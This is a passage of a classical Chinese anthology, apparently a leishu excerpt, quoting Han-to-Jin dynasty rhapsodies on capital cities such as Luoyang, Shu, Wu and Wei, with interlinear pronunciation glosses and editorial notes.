影 . 不 缩 不 盈 . 总 风 雨 之 所 交 . 然 后 以 建 王 城 . 审 曲 面 势 . 溯 洛 背 河 . 左 伊 右 瀍 . 西 阻 九 阿 . 盟 津 达 其 后 . 大 谷 通 其 前 . 回 行 道 乎 伊 阙 . 斜 径 捷 乎 轘 辕 . 太 室 作 镇 . 揭 以 熊 耳 . 厎 柱 辍 流 . 镡 以 大 岯 . 汉 初 弗 之 宅 也 . 故 宗 绪 中 圮 . 巨 猾 闲 衅 . 窃 弄 神 器 . 历 载 三 六 . 偷 安 天 位 . 我 世 祖 忿 之 . 乃 龙 飞 白 水 . 凤 翔 参 墟 . 授 钺 四 七 . 共 工 是 除 . 区 宇 乂 宁 . 思 和 求 中 . 睿 哲 玄 览 . 都 兹 洛 宫 . 逮 至 显 宗 . 六 合 殷 昌 . 既 新 崇 德 . 遂 作 德 阳 . 昭 仁 惠 于 崇 贤 . 抗 义 声 于 金 商 . 建 象 魏 之 两 观 . 旌 六 典 之 旧 章 . 濯 龙 芳 林 . 九 谷 八 溪 . 芙 蓉 覆 水 . 秋 兰 被 涯 . 永 安 离 宫 . 修 竹 冬 青 . 阴 池 幽 流 . 玄 泉 冽 清 . 鹎 鶋 秋 栖 . 鹘 雕 春 鸣 . 鵙 鸠 鹂 黄 . 关 关 嘤 嘤 . 于 南 则 前 殿 云 台 . 和 欢 安 福 . 謻 门 曲 榭 . 斜 阻 城 洫 . 奇 树 珍 果 . 钩 盾 所 职 . 于 东 则 洪 池 清 蘌 . 渌 水 澹 澹 . 内 阜 川 禽 . 外 丰 葭 菼 . 其 西 则 平 乐 都 场 . 示 远 之 观 . 龙 雀 蟠 蜿 . 天 马 半 汉 . 乃 营 三 宫 . 布 政 颁 常 . 复 庙 重 屋 . 于 斯 胥 洎 . 龙 辂 充 庭 . 云 旗 拂 蜺 . 夏 正 三 朝 . 庭 燎 晰 晰 . 章 列 反 . 春 日 载 阳 . 合 射 辟 雍 . 设 业 设 虡 . 宫 悬 金 镛 . 鼖 音 汾 . 鼓 路 . 音 桃 . 树 羽 幢 幢 . 张 大 侯 . 制 五 正 . 设 三 乏 . 厞 音 翡 . 司 旌 . 天 子 乃 抚 玉 辂 . 时 承 六 龙 . 发 鲸 鱼 . 铿 华 钟 . 摄 提 运 衡 . 徐 至 于 射 宫 . 礼 事 展 . 乐 物 具 . 王 夏 阕 . 驺 虞 奏 . 决 拾 既 次 . 雕 弓 斯 彀 . 古 侯 反 . 达 余 萌 于 暮 春 . 昭 诚 心 以 远 喻 . 三 农 之 隙 . 耀 威 中 原 . 岁 惟 仲 冬 . 大 阅 西 园 . 乃 驭 小 戎 . 抚 轻 轩 . 戈 矛 若 林 . 牙 旗 缤 翻 . 迄 乎 上 林 . 结 徒 为 营 . 叙 和 树 表 . 司 铎 授 钲 . 坐 作 进 退 . 节 以 军 声 . 火 烈 具 举 . 武 士 星 敷 . 鹅 鹳 鱼 丽 . 箕 张 翼 舒 . 驭 不 诡 遇 . 射 不 翦 毛 . 升 献 六 禽 . 时 膳 四 膏 . 成 礼 三 驱 . 解 罘 放 麟 . 不 穷 乐 以 训 俭 . 不 殚 物 以 昭 仁 . 尔 乃 卒 岁 大 傩 . 驱 除 群 疠 . 侲 子 万 童 . 丹 首 玄 制 . 桃 弧 棘 矢 . 所 发 无 臬 . 飞 砾 雨 散 . 刚 瘅 必 毙 . 煌 火 驰 而 星 流 . 逐 赤 疫 于 四 裔 .\n又 南 都 赋 曰 . 于 显 乐 都 . 既 丽 且 康 . 陪 京 之 南 . 居 汉 之 阳 . 剖 周 楚 之 丰 壤 . 跨 荆 豫 而 为 疆 . 其 宝 利 珍 怪 . 则 金 采 玉 璞 . 隋 珠 夜 光 . 太 一 余 粮 . 中 黄 玉 . 松 子 神 陂 . 赤 灵 解 角 . 耕 父 扬 光 于 清 泠 之 泉 . 游 女 弄 珠 于 汉 皋 之 曲 . 其 水 虫 则 有 蠳 龟 鸣 蛇 . 潜 龙 伏 螭 . 其 鸟 则 有 鸳 鸯 鹄 鹥 . 鸿 鸨 鴐 鹅 . 嘤 嘤 和 鸣 . 澹 澹 随 波 . 其 香 草 则 薜 荔 蕙 若 . 芜 荪 苌 . 晻 暧 蓊 蔚 . 含 芬 吐 芳 . 酒 则 九 酝 甘 醴 . 十 旬 兼 清 . 醪 敷 径 寸 . 浮 虮 若 萍 . 其 甘 不 爽 . 醉 而 不 酲 . 献 酢 既 交 . 率 礼 无 违 . 弹 琴 籥 . 流 风 徘 徊 . 于 是 暮 春 之 禊 . 元 巳 之 辰 . 方 轨 齐 轸 . 祓 音 弗 . 于 阳 滨 . 朱 帷 连 网 . 曜 野 映 云 . 脩 岫 绕 缭 而 满 庭 . 罗 蹑 蹀 而 容 与 . 翩 绵 绵 其 若 绝 . 眩 将 坠 而 复 举 . 于 是 群 士 放 逐 . 驰 乎 沙 场 . 俯 贯 鲂 魣 . 仰 落 双 鸧 . 鱼 不 及 窜 . 鸟 不 暇 翔 . 车 雷 震 而 风 厉 . 马 鹿 超 而 龙 骧 . 夕 暮 而 归 . 其 乐 难 忘 .\n后 汉 杜 笃 论 都 赋 曰 . 天 命 有 圣 . 托 之 大 汉 . 大 汉 开 基 . 高 祖 有 勋 . 斩 白 蛇 . 屯 黑 云 . 蹈 沧 海 . 跨 昆 仑 . 刘 敬 建 策 . 初 都 长 安 . 太 宗 承 流 . 守 之 以 文 . 孝 武 因 其 余 财 . 府 帑 之 畜 . 深 入 匈 奴 . 割 裂 三 庭 . 连 缓 耳 . 锁 雕 题 . 摧 天 竺 . 拏 象 犀 . 沃 野 千 里 . 原 隰 弥 望 . 保 植 五 谷 . 桑 麻 条 畅 . 滨 据 南 山 . 带 以 泾 渭 . 号 曰 陆 海 . 蠢 生 万 类 . 城 池 百 尺 . 阨 塞 要 害 . 一 人 奋 戟 . 三 军 沮 败 . 于 时 圣 帝 . 赫 然 申 威 . 南 禽 公 孙 . 北 胁 强 胡 . 西 平 陇 冀 . 东 据 洛 都 . 今 天 下 新 定 . 矢 石 之 勤 始 瘳 . 未 遑 于 论 都 . 而 遗 思 雍 州 .\n后 汉 崔 骃 反 都 赋 曰 . 汉 历 中 绝 . 京 师 为 墟 . 光 武 受 命 . 始 迁 洛 都 . 客 有 陈 西 土 之 富 . 云 洛 邑 褊 小 . 故 略 陈 祸 败 之 机 . 不 在 险 也 . 建 武 龙 兴 . 奋 旅 西 驱 . 虏 赤 眉 . 讨 高 胡 . 斩 铜 马 . 破 骨 都 . 收 翡 翠 之 驾 . 据 天 下 之 图 . 上 圣 受 命 . 将 昭 其 烈 . 潜 龙 初 九 . 真 人 乃 发 . 上 贯 紫 宫 . 徘 徊 天 阙 . 握 狼 狐 . 蹈 参 伐 . 陶 以 干 坤 . 始 分 日 月 . 观 三 代 之 余 烈 . 察 殷 夏 之 遗 风 . 背 崤 函 之 固 . 即 周 洛 之 中 . 兴 四 郊 . 建 三 雍 . 禅 梁 父 . 封 岱 宗 .\n后 汉 傅 毅 洛 都 赋 . 惟 汉 元 之 运 会 . 世 祖 受 命 而 弭 乱 . 体 神 武 之 圣 姿 . 握 天 人 之 契 赞 . 寻 往 代 之 规 兆 . 仍 险 塞 之 自 然 . 被 昆 仑 之 洪 流 . 据 伊 洛 之 双 川 . 挟 成 皋 之 严 阻 . 扶 二 崤 之 崇 山 . 分 画 经 纬 . 开 正 涂 轨 . 序 立 庙 祧 . 面 朝 后 市 . 叹 息 起 氛 雾 . 奋 袂 生 风 雨 . 览 正 殿 之 体 制 . 承 日 月 之 皓 精 . 骋 流 星 于 突 陋 . 追 归 雁 于 轩 軨 . 带 螭 龙 之 疏 镂 . 垂 菡 萏 之 敷 荣 . 顾 濯 龙 之 台 观 . 望 永 安 之 园 薮 . 渟 清 沼 以 泛 舟 . 浮 翠 虬 与 玄 武 . 桑 宫 茧 馆 . 区 制 有 矩 . 后 帅 九 嫔 . 躬 敕 工 女 . 近 则 明 堂 辟 雍 灵 台 之 列 . 宗 祀 扬 化 . 云 物 是 察 . 其 后 则 有 长 冈 芒 阜 . 属 以 首 山 . 通 谷 岌 岢 . 石 濑 寒 泉 . 于 是 乘 舆 鸣 和 . 按 节 发 轫 . 列 翠 盖 . 方 龙 辀 . 备 五 路 之 时 副 . 槛 三 辰 之 旗 斿 . 傅 说 作 仆 . 羲 和 奉 时 . 千 乘 雷 骇 . 万 骑 星 铺 . 络 驿 相 属 . 挥 沫 扬 镳 . 群 仙 列 于 中 庭 . 发 鱼 龙 之 巨 伟 . 羡 门 拊 鼓 . 偓 佺 操 麾 . 讲 武 农 隙 . 校 猎 因 田 . 搜 幽 林 以 集 禽 . 激 通 川 以 御 兽 . 跨 乘 黄 . 射 游 麋 . 弦 不 虚 控 . 目 不 徒 睎 . 解 腋 分 心 . 应 箭 殪 夷 . 然 后 弭 节 容 与 . 渌 水 之 滨 . 垂 芳 饵 于 清 流 . 出 旋 濑 之 潜 鳞 .\n魏 徐 干 齐 都 赋 曰 . 齐 国 实 坤 德 之 膏 腴 . 而 神 州 之 奥 府 . 其 川 渎 则 洪 河 洋 洋 . 发 源 昆 仑 . 惊 波 沛 厉 . 浮 沫 扬 奔 . 南 望 无 垠 . 北 顾 无 鄂 . 蒹 葭 苍 苍 . 莞 菰 沃 若 . 瑰 禽 异 鸟 . 群 萃 乎 其 闲 . 戴 华 蹈 缥 . 披 紫 垂 丹 . 应 节 往 来 . 翕 习 翩 翻 . 灵 芝 生 乎 丹 石 . 发 翠 华 之 煌 煌 . 其 宝 玩 则 玄 蛤 抱 玑 . 駮 ● 含 珰 . 构 厦 殿 以 宏 覆 . 起 层 榭 以 高 骧 . 龙 楹 螭 桷 . 山 屺 云 墙 . 其 后 宫 内 庭 . 嫔 妾 之 馆 . 众 伟 所 施 . 极 巧 穷 变 . 然 后 脩 龙 榜 . 游 洪 池 . 折 珊 瑚 . 破 琉 璃 . 日 既 仄 而 西 舍 . 乃 反 宫 而 栖 迟 . 欢 幸 在 侧 . 便 嬖 侍 隅 . 含 清 歌 以 咏 志 . 流 玄 眸 而 征 眄 . 竦 长 袖 以 合 节 . 纷 翩 翻 其 轻 迅 . 王 乃 乘 华 玉 之 辂 . 驾 玄 駮 之 骏 . 武 骑 星 散 . 钲 鼓 雷 动 . 旌 旗 虹 乱 . 盈 乎 灵 圃 之 中 . 于 是 羽 族 咸 兴 . 毛 群 尽 起 . 上 蔽 穹 庭 . 下 被 皋 薮 .\n魏 刘 桢 鲁 都 赋 曰 . 昔 大 廷 氏 肇 建 厥 居 . 少 昊 受 命 . 亦 都 兹 焉 . 山 则 连 冈 属 岭 . 曀 ● 峡 北 . 紫 金 扬 晖 于 鸿 崖 . 水 精 潜 光 乎 云 穴 . 岱 宗 邈 其 层 秀 . 干 气 雾 以 高 越 . 其 木 则 赤 桋 青 松 . 文 茎 蕙 棠 . 洪 干 百 围 . 高 径 穹 皇 . 竹 则 填 彼 山 垠 . 陔 弥 阪 域 . 夏 簜 攒 包 . 劲 条 并 殖 . 翠 实 离 离 . 凤 皇 攸 食 . 水 产 众 伙 . 各 有 彝 伦 . 颁 首 华 尾 . 丰 颅 重 龂 . 戴 兵 挟 刃 . 盘 甲 曲 鳞 . 且 观 其 时 谢 节 移 . 和 族 绥 宗 . 招 欢 合 好 . 肃 戒 友 朋 . 蛾 眉 清 眸 . 颜 若 雪 霜 . 插 曜 日 之 珍 笄 . 珥 明 月 之 珠 珰 . 舞 人 就 列 . 整 饰 容 华 . 和 颜 扬 眸 . 眄 风 长 歌 . 飘 乎 猋 发 . 身 如 转 波 . 寻 虚 骋 迹 . 顾 与 节 和 . 纵 脩 袖 以 终 曲 . 若 奔 星 之 赴 河 . 及 其 素 秋 二 七 . 天 汉 指 隅 . 民 胥 祓 禊 . 国 于 水 游 . 缇 帷 弥 津 . 丹 帐 覆 洲 . 盖 如 飞 鹤 . 马 如 游 鱼 . 应 门 岩 岩 . 朱 扉 含 光 . 路 殿 岿 其 隆 崇 . 文 陛 巘 其 高 骧 . 听 迅 雷 于 长 除 . 若 有 闻 而 复 亡 . 其 园 囿 苑 沼 . 骈 田 接 连 . 渌 池 分 浪 . 以 带 石 垠 . 文 隅 琼 岸 . 华 玉 依 津 . 邦 乃 大 狩 . 振 扬 炎 威 . 教 民 即 戎 . 讲 习 兴 师 . 落 幕 包 括 . 连 结 营 围 . 毛 群 陨 殪 . 羽 族 歼 剥 . 填 崎 塞 畎 . 不 可 胜 录 .\n魏 刘 邵 赵 都 赋 曰 . 且 敝 邑 者 . 固 灵 州 之 敞 宇 . 而 天 下 之 雄 国 . 南 则 有 洪 川 巨 渎 . 黄 水 浊 河 . 发 河 积 石 . 径 拂 太 华 . 洒 为 九 流 . 入 于 玄 波 . 其 东 则 有 天 浪 水 府 . 百 川 是 钟 . 包 络 坤 维 . 连 薄 太 濛 . 其 北 则 有 陶 林 玄 坛 . 增 冰 冱 寒 . 其 西 则 有 灵 丘 平 圃 . 邪 接 昆 仑 . 其 近 则 有 天 井 句 注 . 飞 壶 太 行 . 璀 错 磥 硌 . 属 阜 连 冈 . 龙 首 嵯 峨 以 岪 郁 . 羊 阪 仑 ● 以 ● 嵣 . 清 漳 发 源 浊 滏 汨 越 . 汤 泉 涫 沸 . 洪 波 漂 厉 . 尔 乃 都 城 万 雉 . 百 里 周 回 . 九 衢 交 错 . 三 门 旁 开 . 层 楼 疏 阁 . 连 栋 结 阶 . 峙 华 爵 以 表 甍 . 若 翔 凤 之 将 飞 . 正 殿 俨 其 造 天 . 朱 棂 赫 以 舒 光 . 盘 虬 螭 之 蜿 蜒 . 承 雄 虹 之 飞 梁 . 结 云 阁 于 南 宇 . 立 丛 台 于 少 阳 . 及 至 暮 秋 涉 冬 . 则 风 烈 寒 猛 . 豺 騺 攫 . ○ 句 有 脱 文 . 鹰 隼 奋 翰 . 国 乃 讲 武 . 狩 于 清 源 . 驾 骛 冥 之 骏 驳 . 抗 冲 天 之 旌 旃 . 北 连 昭 余 . 南 属 呼 池 . 西 眄 太 陵 . 东 结 缭 河 . 然 后 子 放 机 . 戈 矛 乱 发 . 决 班 鬐 . 破 文 頞 . 当 手 毙 僵 . 应 弦 倒 越 . 尔 乃 进 夫 中 山 名 倡 . 襄 国 妖 女 . 狄 鞮 妙 音 . 邯 郸 才 舞 . 六 八 骈 罗 . 递 奏 迭 举 . 体 凌 浮 云 . 声 哀 激 楚 . 其 珍 玩 服 物 . 则 昆 山 美 玉 . 玄 珠 曲 环 . 轻 绡 启 缯 . 纤 纩 绨 纨 . 其 器 用 良 马 . 则 六 弓 四 弩 . 绿 沉 黄 间 . 堂 鱼 肠 . 丁 令 角 端 . 飞 兔 奚 斯 . 常 骊 紫 燕 . 丰 鬒 确 颅 . 龙 身 鹄 颈 . 目 如 黄 金 . 兰 筋 参 精 . 迅 蹑 飞 浮 . 轶 响 追 声 . 若 乃 至 季 春 元 巳 . 辰 火 炽 光 . 挺 新 赠 往 . 祓 于 水 阳 . 朱 幕 蔽 野 . 彩 帷 连 冈 . 妖 冶 呈 饰 . 颜 如 春 英 .\n晋 左 思 蜀 都 赋 曰 . 夫 蜀 都 者 . 盖 兆 基 于 上 世 . 开 国 于 中 古 . 廓 灵 关 而 为 门 . 包 玉 垒 而 为 宇 . 带 二 江 之 双 流 . 抗 峨 眉 之 重 阻 . 于 前 则 跨 蹑 犍 . 枕 倚 交 趾 . 经 涂 所 亘 . 五 千 余 里 . 于 是 乎 邛 竹 缘 岭 . 菌 桂 临 崖 . 旁 挺 龙 目 . 侧 生 荔 枝 . 布 绿 叶 之 萋 萋 . 结 朱 实 之 离 离 . 孔 翠 群 翔 . 犀 象 竞 驰 . 白 雉 朝 雊 . 猩 猩 夜 啼 . 金 马 骋 先 而 绝 影 . 碧 鸡 倏 忽 而 曜 仪 . 火 井 沉 荧 于 幽 泉 . 高 爓 飞 煽 于 天 垂 . 于 后 则 却 背 华 容 . 北 指 昆 仑 . 缘 以 剑 阁 . 阻 以 石 门 . 流 汉 汤 汤 . 惊 浪 雷 奔 . 望 之 天 回 . 即 之 云 昏 . 水 物 殊 品 . 鳞 介 异 族 . 或 藏 蛟 螭 . 或 隐 碧 玉 . 其 树 则 有 木 兰 梫 七 林 反 . 桂 . 杞 櫹 椅 桐 . 楩 楠 幽 蔼 于 谷 底 . 松 柏 蓊 蔚 于 山 峰 . 棹 脩 干 . 竦 长 条 . 扇 飞 云 . 拂 轻 霄 . 羲 和 假 道 于 峻 岐 . 阳 乌 回 翼 乎 高 摽 . 于 东 则 左 绵 巴 中 . 百 濮 所 充 . 外 负 铜 梁 宕 渠 . 内 函 要 害 于 膏 腴 . 丹 砂 赩 炽 出 其 阪 . 蜜 房 都 郁 被 其 阜 . 山 图 采 而 得 道 . 赤 斧 服 而 不 朽 . 交 壤 ○ 文 选 四 蜀 都 赋 作 让 . 所 植 . 蹲 鸱 所 伏 . 百 药 灌 丛 . 寒 卉 冬 馥 . 其 中 则 有 青 珠 黄 环 . 碧 砮 芒 消 . 或 丰 绿 荑 . 或 蕃 丹 椒 . 红 葩 紫 饰 . 柯 叶 渐 苞 . 敷 橤 葳 蕤 . 落 英 飘 飖 . 沟 洫 脉 散 . 疆 里 绮 错 . 黍 稷 油 油 . 梗 稻 漠 漠 . 指 渠 口 以 为 云 门 . 洒 滮 池 而 为 陆 泽 . 尔 乃 邑 居 隐 轸 . 夹 江 傍 山 . 家 有 盐 泉 之 井 . 户 有 橘 柚 之 园 . 百 果 甲 坼 . 异 色 同 荣 . 朱 樱 春 就 . 素 柰 夏 成 . 若 乃 大 火 流 . 凉 风 厉 . 白 露 凝 . 微 霜 结 . 紫 藜 津 润 . 樼 栗 罅 发 . 蒲 萄 乱 溃 . 石 留 竞 裂 . 晨 凫 旦 至 . 候 雁 衔 芦 . 木 落 南 翔 . 冰 北 徂 . 云 飞 水 宿 . 哢 吭 胡 浪 反 . 清 渠 . 其 深 则 有 鳣 鲔 鳟 鲂 . 鳢 鲨 鲿 . 差 鳞 次 色 . 锦 质 报 章 . 辟 二 九 之 通 门 . 画 方 轨 之 广 涂 . 营 新 宫 于 爽 垲 . 拟 承 明 而 起 庐 . 结 阳 城 之 延 阁 . 飞 观 榭 乎 云 中 . 开 高 轩 以 临 山 . 列 绮 窗 以 瞰 江 . 内 则 宣 化 之 闼 . 崇 礼 之 闱 . 华 阙 双 邈 . 重 门 洞 开 . 金 铺 交 映 . 玉 题 相 晖 . 亚 以 少 城 . 接 乎 其 西 . 列 隧 百 重 . 罗 肆 巨 千 . 贿 货 山 积 . 纤 丽 星 繁 . 都 人 士 . ○ 文 选 士 下 有 女 字 . 袨 服 靓 才 性 反 . 庄 . 布 有 橦 华 . 面 有 桄 榔 . 邛 竹 传 节 于 大 夏 之 邑 . 蒟 酱 流 味 于 番 隅 之 乡 . 阛 阓 之 里 . 伎 巧 之 家 . 百 室 离 房 . 机 杼 相 和 . 贝 锦 斐 成 . 濯 色 江 波 . 若 夫 王 孙 之 属 . 郤 公 之 伦 . 从 禽 于 外 . 巷 无 居 人 . 并 乘 骥 子 . 俱 服 鱼 文 . 西 逾 金 堤 . 东 越 玉 津 . 戟 食 铁 之 兽 . 射 噬 毒 之 鹿 . 拍 ● 氓 于 葽 草 . 弹 言 鸟 于 森 木 . 拔 象 齿 . 戾 历 结 反 . 犀 角 . 乌 铩 翮 . 兽 废 足 . 殆 而 朅 . 来 相 与 . 第 如 滇 丁 田 反 . 池 . 集 于 江 洲 . 试 水 客 . 漾 轻 舟 . 娉 江 妃 . 与 神 游 . 将 飨 獠 者 . 张 弈 幕 . 会 平 原 . 酌 醪 酤 . 割 芳 鲜 . 饮 御 酣 . 宾 旅 旋 . 车 马 雷 骇 . 轰 轰 阗 阗 . 近 则 江 汉 炳 灵 . 世 载 其 英 . 蔚 若 相 如 . 皭 若 君 平 . 王 褒 炜 烨 而 秀 发 . 扬 雄 含 章 而 挺 生 . 幽 思 绚 道 德 . 摛 藻 掞 天 庭 .\n又 吴 都 赋 曰 . 东 吴 王 孙 . 辴 敕 忍 反 . 大 笑 也 . 然 而 咍 曰 . 夫 上 图 景 宿 . 辩 于 天 文 者 也 . 下 料 物 土 . 析 于 地 理 者 也 . 鸟 策 篆 素 . 玉 谍 石 记 . 乌 闻 梁 岷 有 陟 方 之 馆 . 行 宫 之 基 欤 . 而 吾 子 独 未 闻 大 吴 之 壮 丽 乎 . 且 有 吴 之 开 国 也 . 造 自 泰 伯 . 宣 于 延 陵 . 固 其 经 略 . 上 当 星 纪 . 拓 土 画 疆 . 指 衡 岳 以 镇 野 . 同 龙 川 而 带 . 百 川 泒 别 . 归 海 而 会 . 控 清 引 浊 . 混 涛 并 濑 . 濆 薄 沸 腾 . 寂 寥 长 迈 . 出 乎 大 荒 之 中 . 行 乎 东 极 之 外 . 于 是 乎 长 鲸 吞 航 . 脩 鲵 吐 浪 . 跃 龙 腾 蛇 . 蛟 鲻 琵 琶 . 溯 洄 顺 流 . 噞 喁 沉 浮 . 鸟 则 鹍 鸡 鸀 . 鷞 音 霜 . 鹄 鹭 鸿 . 鶢 鶋 避 风 . 候 雁 造 江 . 湛 淡 羽 仪 . 随 波 参 差 . 理 翮 整 翰 . 容 与 自 玩 . 雕 啄 蔓 藻 . 刷 荡 漪 澜 . 蚌 蛤 珠 胎 . 与 月 亏 全 . 巨 鳌 赑 ● . 首 冠 灵 山 . 大 鹏 缤 翻 . 翼 若 垂 天 . 洪 桃 盘 屈 . 丹 桂 灌 丛 . 琼 枝 抗 茎 而 敷 橤 . 珊 瑚 幽 茂 而 玲 珑 . 增 冈 重 阻 . 列 真 之 宇 . 江 妃 于 是 往 来 . 海 童 于 是 宴 语 . 草 则 藿 ● 豆 蔻 . 姜 汇 非 一 . 石 帆 水 松 . 东 风 扶 留 . 布 濩 皋 泽 . 蝉 联 陵 丘 . 寅 缘 山 岳 之 屺 . 音 节 . 羃 音 觅 . 㭎 烟 貌 . 江 海 之 流 . 木 则 平 仲 君 迁 . 松 梓 古 度 . 楠 榴 之 木 . 相 思 之 树 . 宗 生 高 冈 . 族 茂 幽 阜 . 擢 本 千 寻 . 垂 荫 万 亩 . 与 风 飖 飏 . ● 浏 飕 飗 . 鸣 条 畅 律 . 飞 音 响 亮 . 盖 象 琴 筑 并 奏 . 笙 竽 俱 唱 . 其 竹 则 筼 筜 林 箊 . 音 于 . 桂 箭 射 筒 . 柚 梧 有 篁 . 篻 簩 有 丛 . 苞 笋 抽 节 . 往 往 萦 结 . 绿 叶 翠 茎 . 冒 霜 停 雪 . 梢 云 无 以 逾 . 嶰 谷 不 能 连 . 鸑 鷟 食 其 实 . 鹓 鶵 扰 其 闲 . 其 果 则 丹 橘 余 甘 . 荔 枝 之 林 . 槟 榔 无 柯 . 椰 叶 无 阴 . 其 琛 赂 则 琨 瑶 之 阜 . 铜 锴 白 铁 也 . 之 垠 . 火 齐 之 宝 . 骇 鸡 之 珍 . 赪 丹 明 玑 . 金 华 银 朴 . 紫 贝 流 黄 . 缥 碧 素 玉 . 其 荒 陬 谲 诡 . 则 有 龙 穴 内 蒸 . 云 雨 所 储 . 陵 鲤 若 兽 . 浮 石 若 桴 . 双 则 比 目 . 片 则 王 余 . 穷 陆 饮 木 . 极 沉 水 居 . 泉 室 潜 织 而 卷 绡 . 渊 客 慷 慨 而 泣 珠 . 象 耕 鸟 耘 . 此 之 自 改 . 煮 海 为 盐 . 采 山 铸 钱 . 国 税 再 熟 之 稻 . 乡 贡 八 蚕 之 绵 . 造 姑 苏 之 高 台 . 临 四 远 而 特 建 . 带 朝 夕 之 浚 池 . 佩 长 洲 之 茂 苑 . 窥 东 山 之 府 . 则 瑰 宝 溢 目 . ● 海 陵 之 仓 . 则 红 粟 流 衍 . 雕 栾 镂 楶 . 音 节 . 青 锁 丹 楹 . 图 以 云 气 . 画 以 仙 灵 . 高 闱 有 闶 . 洞 门 方 轨 . 朱 阙 双 立 . 驰 道 如 砥 . 树 以 青 槐 . 亘 以 渌 水 . 桃 笙 象 簟 . 韬 于 筒 中 . 蕉 葛 升 越 . 弱 于 罗 纨 . 命 官 师 而 拥 铎 . 将 校 猎 兮 具 区 . 吴 王 乃 巾 玉 辂 . 轺 骕 骦 . 羽 毛 扬 蕤 . 雄 戟 燿 芒 . 贝 胄 象 弭 . 织 文 鸟 章 . 六 军 袀 服 . 四 骐 龙 骧 . 猩 猩 啼 而 就 擒 . ● ● 扶 沸 切 . 笑 而 被 格 . 屠 巴 蛇 . 出 象 骼 . 斩 鹏 翼 . 掩 广 泽 . 结 轻 舟 而 竞 逐 . 迎 潮 水 而 振 . 精 卫 衔 石 而 遇 缴 . 文 鳐 夜 飞 而 触 纶 . 指 包 山 以 为 期 . 集 洞 庭 而 掩 留 . 数 军 实 乎 桂 林 之 苑 . 飨 戎 旅 乎 落 星 之 楼 .\n又 魏 都 赋 曰 . 魏 国 先 生 . 有 睟 其 容 . 乃 盱 衡 而 诰 曰 . 异 乎 交 益 之 士 . 剑 阁 虽 嶛 . 嶛 . 险 也 . 凭 之 者 蹶 . 洞 庭 虽 浚 . 负 之 者 北 . 且 魏 土 者 . 毕 昴 之 所 应 . 虞 夏 之 余 人 . 先 王 之 桑 梓 . 烈 圣 之 遗 尘 . 尔 其 彊 域 . 则 旁 极 齐 秦 . 结 凑 冀 道 . 开 胸 殷 卫 . 跨 蹑 燕 赵 . 墨 井 盐 池 . 玄 滋 素 液 . 厥 田 惟 中 . 厥 壤 惟 白 . 思 重 爻 . 摹 大 壮 . 览 荀 卿 . 采 萧 相 . 枌 橑 复 结 . 栾 栌 叠 施 . 丹 梁 虹 申 以 并 亘 . 朱 桷 林 布 而 支 离 . 绮 井 列 疏 以 悬 蒂 . 华 莲 重 葩 而 倒 披 . 于 前 宣 明 显 阳 . 顺 德 崇 礼 . 重 闱 洞 出 . 锵 锵 济 济 . 于 后 椒 鹤 文 石 . 永 巷 壶 术 . 楸 梓 木 兰 . 次 舍 甲 乙 . 增 构 峨 峨 . 清 尘 剽 剽 . 云 雀 踶 甍 而 矫 首 . 壮 翼 摛 镂 于 青 霄 . 雷 雨 杳 冥 于 未 半 . 曒 日 笼 光 于 绮 寮 . 硕 果 灌 丛 . 围 木 竦 寻 . 篁 篠 怀 风 . 蒲 萄 结 阴 . 丹 藕 凌 波 而 的 皪 . 绿 芰 泛 涛 而 浸 潭 . 羽 翮 颉 颃 . 鳞 介 浮 沉 . 磴 流 十 二 . 同 原 异 口 . 蓄 为 屯 云 . 泄 为 行 雨 . 内 则 街 衢 辐 凑 . 朱 阙 结 嵎 . 石 杠 杠 . 桥 . 也 . 飞 梁 . 出 控 漳 渠 . 疏 通 沟 以 滨 路 . 萝 青 槐 以 荫 途 .\n晋 庾 阐 杨 都 赋 曰 . 子 未 闻 杨 都 之 巨 伟 也 . 左 沧 海 . 右 岷 山 . 龟 鸟 津 其 落 . 江 汉 演 其 源 . 碣 金 摽 乎 象 浦 . 注 桐 柏 乎 玄 川 . 昔 句 吴 端 委 . 延 州 俪 臧 . 高 让 殆 于 庶 几 . 英 风 亚 乎 颖 阳 . 土 映 黄 旗 之 景 . 峦 吐 紫 盖 之 祥 . 岩 栖 赤 松 之 馆 . 岫 启 缙 云 之 堂 . 龙 符 涣 而 夏 德 兴 . 群 神 萃 而 玉 帛 昌 也 . 天 包 龙 轸 . 地 奄 衡 霍 . 玄 圣 所 游 . 陟 方 所 托 . 我 皇 晋 之 中 兴 . 而 骏 命 是 廓 . 灵 运 启 于 中 宗 . 天 网 振 其 绝 络 . 于 是 乎 源 泽 浩 瀁 . 林 阜 隐 荟 . 彭 蠡 吞 江 . 荆 牙 吐 濑 . 赴 三 峡 之 隘 . 洞 九 川 之 会 . 泮 五 岭 而 分 流 . 鼓 沱 潜 而 碎 沛 . ● 渤 灪 滃 . 潢 漾 拥 涌 . 惊 波 霆 激 . 骇 浪 川 动 . 东 注 尾 闾 . 呼 洞 庭 . 茫 若 云 汉 . 窈 若 青 城 . 其 山 则 重 冈 峨 屼 . 峻 岭 崿 . 阳 侯 鳞 萃 . 龙 涛 绮 错 . ● 岪 磊 砢 . 嵬 峞 鄱 薄 . 旁 带 千 溪 . 下 同 万 壑 . 木 则 灌 以 杞 梓 . 被 以 沙 裳 . 结 根 九 疑 . 布 叶 天 柱 . 林 为 五 岳 之 苑 . 材 为 八 都 之 府 . 扫 飞 虹 . 亏 阳 景 . 拂 白 雪 而 增 翠 . 凌 广 莫 而 敷 颖 . 竹 则 ● 风 箘 . 篠 簜 林 箊 . 单 棘 箜 ● . 蓊 蔚 萧 疏 . 贞 条 梢 风 . 劲 节 集 雾 . 望 之 猗 猗 . 即 之 倩 倩 . 苍 浪 之 竿 . 东 南 之 箭 . 其 林 可 游 . 其 芳 可 荐 . 草 则 陵 苔 海 藻 . 山 英 江 蓠 . 纶 组 菁 茅 . 繁 露 卷 施 . 兽 则 騊 駼 狻 猊 . 锯 牙 披 蹄 . 登 重 巘 . 蹲 嶪 嶬 . 噫 气 则 风 生 . 喷 沫 则 雨 洒 . 其 闲 则 有 腾 猿 夭 峤 . 闪 倏 柯 杪 . 风 母 杲 然 . 星 流 电 迁 . 或 陵 虚 赴 绝 . 或 缭 绕 希 闻 . 鸟 则 鹪 鹏 孔 翠 . 丹 穴 之 羽 . 鸣 凤 自 歌 . 翔 鸾 自 舞 . 鱼 则 鲛 鳣 ● 鲔 . 比 目 鲿 鲨 . 脩 鲲 横 海 . 征 鲸 偃 波 . 其 中 则 有 灵 蛟 白 鼋 之 族 . 种 繁 六 眸 . 类 丰 三 足 . 鹦 螺 蜕 骨 . 寄 居 负 敖 . 余 泉 如 轮 . 文 蚳 如 琢 . 果 则 黄 甘 朱 橙 . 杨 桃 琵 琶 . 林 蔚 八 